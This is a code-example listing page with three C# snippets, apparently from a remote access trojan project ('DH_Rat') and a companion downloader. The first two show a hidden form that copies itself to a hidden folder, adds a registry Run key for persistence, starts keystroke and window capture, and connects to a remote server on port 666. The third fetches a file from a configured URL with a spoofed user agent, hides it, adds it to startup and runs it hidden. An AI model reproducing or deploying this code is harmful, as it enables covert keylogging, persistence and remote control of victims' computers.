コード例 #1
0
        private void Form1_Load(object sender, EventArgs e)
        {
            this.Hide();

            load_config config = new load_config();

            config.load_data();
            //MessageBox.Show(config.get_data());

            string rat_online = config.rat_online;

            if (rat_online == "1")
            {
                string ip = config.ip;

                string directorio_final = Environment.GetEnvironmentVariable("USERPROFILE") + "/sonzon/";

                string ruta_rat_inicial = Application.ExecutablePath;

                string rutadondeestoy  = System.Reflection.Assembly.GetEntryAssembly().Location;
                string nombredondestoy = Path.GetFileName(rutadondeestoy);

                string ruta_botnet_final = directorio_final + nombredondestoy;

                if (!Directory.Exists(directorio_final))
                {
                    Directory.CreateDirectory(directorio_final);
                    File.SetAttributes(directorio_final, FileAttributes.Hidden);
                }
                else
                {
                    File.SetAttributes(directorio_final, FileAttributes.Hidden);
                }

                Directory.SetCurrentDirectory(directorio_final);

                try
                {
                    File.Copy(ruta_rat_inicial, ruta_botnet_final);
                    File.SetAttributes(ruta_botnet_final, FileAttributes.Hidden);
                }
                catch
                {
                    //
                }

                if (!File.Exists(directorio_final + "logs.out"))
                {
                    savefile("logs.out", "");
                    File.SetAttributes("logs.out", FileAttributes.Hidden);
                }

                try
                {
                    RegistryKey loadnow = Registry.LocalMachine;
                    loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    loadnow.SetValue("uberku", ruta_botnet_final, RegistryValueKind.String);
                    loadnow.Close();
                }

                catch
                {
                    //
                }


                capturar_teclas.Interval = 50;
                capturar_teclas.Enabled  = true;

                capturar_ventanas.Interval = 10;
                capturar_ventanas.Enabled  = true;

                datos_para_la_conexion_con_el_server = new IPEndPoint(IPAddress.Parse(ip), 666);
                entrar_al_servidor();
            }
            else
            {
                MessageBox.Show("Rat Offline");
                Application.Exit();
            }
        }
コード例 #2
0
ファイル: Form1.cs プロジェクト: Aookii/DH_Rat
        private void Form1_Load(object sender, EventArgs e)
        {

            this.Hide();

            load_config config = new load_config();
            config.load_data();
            //MessageBox.Show(config.get_data());

            string rat_online = config.rat_online;

            if (rat_online == "1")
            {

                string ip = config.ip;

                string directorio_final = Environment.GetEnvironmentVariable("USERPROFILE") + "/sonzon/";

                string ruta_rat_inicial = Application.ExecutablePath;

                string rutadondeestoy = System.Reflection.Assembly.GetEntryAssembly().Location;
                string nombredondestoy = Path.GetFileName(rutadondeestoy);

                string ruta_botnet_final = directorio_final + nombredondestoy;

                if (!Directory.Exists(directorio_final))
                {
                    Directory.CreateDirectory(directorio_final);
                    File.SetAttributes(directorio_final, FileAttributes.Hidden);
                }
                else
                {
                    File.SetAttributes(directorio_final, FileAttributes.Hidden);
                }

                Directory.SetCurrentDirectory(directorio_final);

                try
                {
                    File.Copy(ruta_rat_inicial, ruta_botnet_final);
                    File.SetAttributes(ruta_botnet_final, FileAttributes.Hidden);
                }
                catch
                {
                    //
                }

                if (!File.Exists(directorio_final + "logs.out"))
                {
                    savefile("logs.out", "");
                    File.SetAttributes("logs.out", FileAttributes.Hidden);
                }

                try
                {

                    RegistryKey loadnow = Registry.LocalMachine;
                    loadnow = loadnow.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                    loadnow.SetValue("uberku", ruta_botnet_final, RegistryValueKind.String);
                    loadnow.Close();

                }

                catch
                {
                    //
                }
                

                capturar_teclas.Interval = 50;
                capturar_teclas.Enabled = true;

                capturar_ventanas.Interval = 10;
                capturar_ventanas.Enabled = true;

                datos_para_la_conexion_con_el_server = new IPEndPoint(IPAddress.Parse(ip), 666);
                entrar_al_servidor();
            }
            else
            {
                MessageBox.Show("Rat Offline");
                Application.Exit();
            }
        }
コード例 #3
0
        //

        static void Main(string[] args)
        {
            load_config config = new load_config();

            config.load_data();
            string check_online = config.downloader_online;

            if (check_online == "1")
            {
                Console.WriteLine("[+] Downloader Online");

                string url = config.url;
                string opcion_change_name     = config.opcion_change_name;
                string text_change_name       = config.text_change_name;
                string opcion_carga_normal    = config.opcion_carga_normal;
                string opcion_carga_hide      = config.opcion_carga_hide;
                string ruta_donde_bajar       = config.ruta_donde_bajar;
                string opcion_ocultar_archivo = config.opcion_ocultar_archivo;
                string opcion_startup         = config.opcion_startup;

                string nombre_final     = "";
                string directorio_final = "";
                string ruta_final       = "";

                //string output = config.get_data();
                //Console.WriteLine(output);

                if (opcion_change_name == "1")
                {
                    nombre_final = text_change_name;
                }
                else
                {
                    nombre_final = Path.GetFileName(url);
                }

                if (ruta_donde_bajar != "")
                {
                    directorio_final = Environment.GetEnvironmentVariable(ruta_donde_bajar);
                }
                else
                {
                    directorio_final = Environment.GetEnvironmentVariable("USERPROFILE");
                }

                ruta_final = directorio_final + "/" + nombre_final;

                Console.WriteLine("[+] URL : " + url + "\n");
                Console.WriteLine("[+] Filename : " + ruta_final + "\n");

                try
                {
                    WebClient nave = new WebClient();
                    nave.Headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0";
                    nave.DownloadFile(url, ruta_final);
                }
                catch
                {
                    //
                }

                if (opcion_ocultar_archivo == "1")
                {
                    Console.WriteLine("[+] Hide : " + ruta_final + "\n");
                    try
                    {
                        File.SetAttributes(ruta_final, FileAttributes.Hidden);
                    }
                    catch
                    {
                        //
                    }
                }

                if (opcion_startup == "1")
                {
                    Console.WriteLine("[+] Add Startup : " + ruta_final + "\n");
                    add_startup(ruta_final);
                }

                if (opcion_carga_normal == "1")
                {
                    Console.WriteLine("[+] Load normal : " + ruta_final + "\n");
                    cmd_normal(ruta_final);
                }

                if (opcion_carga_hide == "1")
                {
                    Console.WriteLine("[+] Load hide : " + ruta_final + "\n");
                    cmd_hide(ruta_final);
                }

                //Console.ReadKey();
            }
            else
            {
                Console.WriteLine("[-] Downloader OffLine");
                //Console.ReadKey();
            }
        }